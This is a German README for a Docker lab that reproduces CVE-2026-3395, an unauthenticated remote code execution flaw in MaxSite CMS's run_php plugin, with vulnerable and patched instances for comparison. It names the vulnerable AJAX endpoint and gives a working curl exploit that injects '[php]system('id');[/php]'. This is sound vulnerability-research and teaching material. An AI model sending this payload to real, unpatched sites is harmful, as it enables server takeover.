
# Bildungs-Docker-Lab zur Demonstration von CVE-2026-3395, einer nicht authentifizierten RCE in MaxSite CMS über das run_php-Plugin, mit verwundbaren und gepatchten Umgebungen für sichere Reproduktion und Analyse.
Dieses Repository dient ausschließlich Bildungs- und Forschungszwecken. Alle Tests müssen in einer lokalen Docker-Lab-Umgebung durchgeführt werden. Stellen Sie dieses Setup nicht auf öffentlichen oder Produktionssystemen bereit.
CVE-2026-3395 betrifft MaxSite CMS und ermöglicht nicht authentifizierten Zugriff auf einen administrativen AJAX-Endpunkt. Wenn das run_php-Plugin aktiviert ist, kann Benutzereingabe über das CMS-Hook-System als PHP-Code ausgewertet werden, was zu Remote Code Execution (RCE) führen kann.
Dieses Repository enthält:
Der verwundbare Endpunkt befindet sich unter:
application/maxsite/admin/plugins/editor_markitup/preview-ajax.php
In der verwundbaren Version:
POST data) werden über geleitetmso_hook()run_php-Plugin verarbeitet [php]...[/php]-Blöckeeval() ausWenn run_php aktiviert ist, führt dies zu nicht authentifizierter Remote Code Execution.
Die gepatchte Version fügt Folgendes hinzu:
if (!is_login()) die('no login');
mso_checkreferer();
Dies beschränkt den Zugriff auf authentifizierte Benutzer.
Dieses Lab erstellt zwei Umgebungen:
| Umgebung | Port |
|---|---|
| Verwundbar | 8081 |
| Gepatcht | 8082 |
docker compose up -d --build
Dies wird:
run_php in der Lab-Konfiguration aktivierenÖffnen Sie in Ihrem Browser:
http://localhost:8081 (Verwundbar)
http://localhost:8082 (Gepatcht)
Beide Instanzen sollten erfolgreich geladen werden.

Die AJAX-Route verwendet einen base64-kodierten Pfad.
Base64 von:
admin/plugins/editor_markitup/preview-ajax.php
ist:
YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==
curl -X POST "http://localhost:8081/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8081/" \
--data-urlencode "data=[php]system('id');[/php]"

curl -X POST "http://localhost:8082/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8082/" \
--data-urlencode "data=[php]system('id');[/php]"
Erwartetes Ergebnis:
no login

Zum Stoppen der Container:
docker compose down -v
Verwenden Sie dieses Projekt nur in isolierten Umgebungen für Forschungs- und Lernzwecke.